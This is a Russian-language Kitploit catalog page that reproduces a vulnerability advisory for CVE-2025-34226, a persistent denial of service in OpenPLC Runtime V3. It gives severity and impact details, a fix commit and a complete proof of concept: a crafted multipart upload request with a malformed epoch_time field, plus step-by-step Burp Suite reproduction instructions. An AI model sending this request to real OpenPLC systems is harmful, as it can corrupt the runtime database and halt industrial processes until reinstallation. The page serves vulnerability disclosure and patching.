Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-34226 — OpenPLC Runtime страдает от постоянной уязвимости отказа в обслуживании (DoS) в конечной точке /upload-program-action. | Kitploit
Инструменты/GitHubGitHub/eyodav/cve-2025-34226
Анализ уязвимостейЭксплуатацияБезопасность SCADA/ICSЭксплуатация веб-приложенийНеправильная КонфигурацияБезопасность Баз Данных
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC Runtime страдает от постоянной уязвимости отказа в обслуживании (DoS) в конечной точке /upload-program-action.

Репозиторий
511 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-34226: Постоянный DoS в среде выполнения OpenPLC

Краткий обзор уязвимости

ПолеЗначение
CVE IDCVE-2025-34226
ЗатрагиваетOpenPLC Runtime V3
Исправлено в(коммит) 095ee09623dd229b64ad3a1db38a901a3772f6fc
СерьёзностьВысокий
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Высокий)
CWECWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation

Основные сведения

Среда выполнения OpenPLC страдает от уязвимости постоянного отказа в обслуживании (DoS) в конечной точке /upload-program-action.
Изменяя параметр epoch_time во время загрузки программы, аутентифицированный пользователь с низкими привилегиями может повредить внутреннюю базу данных.
Это повреждение сначала отключает критические страницы, а в конечном итоге предотвращает запуск всей среды выполнения, фактически выводя приложение из строя до его переустановки.


Влияние на безопасность

  • Постоянный DoS – После срабатывания система не может восстановиться без полной переустановки.
  • Повреждение базы данных – Эксплойт вносит недопустимые значения в SQLite-базу данных OpenPLC, нарушая состояние среды выполнения.
  • Нарушение работы – В контексте ICS/OT это может привести к простою процессов, управляемых ПЛК.
  • Обход проверок – Эксплойт обходит проверку входных данных, демонстрируя отсутствие санитизации критических параметров.

Технические детали

Затрагиваемые версии

  • Уязвимые версии: OpenPLC Runtime ≤ v3 (не последняя версия)
  • Исправленная версия: устранена коммитом 095ee09623dd229b64ad3a1db38a901a3772f6fc

Вектор атаки

Конечная точка /upload-program-action принимает поле epoch_time, которое записывается непосредственно в базу данных без проверки.
Если это поле установлено в поддельное или бессмысленное значение (например, 1758627838 или искажённые данные), OpenPLC сохраняет несогласованное состояние.
При перезагрузке среды выполнения или перезапуске приложение запрашивает повреждённую строку и сталкивается с объектом NoneType → фатальный сбой (TypeError: 'NoneType' object is not subscriptable).


Подтверждение концепции (Proof of Concept)

PoC 1: Вредоносный запрос загрузки (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

Шаги воспроизведения

  1. Откройте BurpSuite.
  2. Откройте браузер BurpSuite.
  3. Перейдите в интерфейс OpenPLC.
  4. Аутентифицируйтесь с учётной записью с низкими привилегиями.
  5. Загрузите программу через /programs.
  6. Выберите произвольное имя.
  7. Включите прокси BurpSuite.
  8. Отправьте запрос в Repeater.
  9. Отредактируйте раздел epoch_time, заменив исходное значение на случайный символ, например "L".
  10. Отправьте новый поддельный запрос.
  11. Перейдите на страницу /programs — вы увидите, что она больше не работает.
  12. После этого иногда при перезапуске OpenPLC среда выполнения не запускается, и восстановить OpenPLC после этого невозможно.

Немедленные действия

  1. Немедленно обновите OpenPLC V3

Ссылки

  • Примечания к патчу/релизу: [Ссылка на официальный последний релиз]
  • История уязвимости: [Ссылка на историю уязвимости]

Авторы

Обнаружено: Eyodav

Скачать инструмент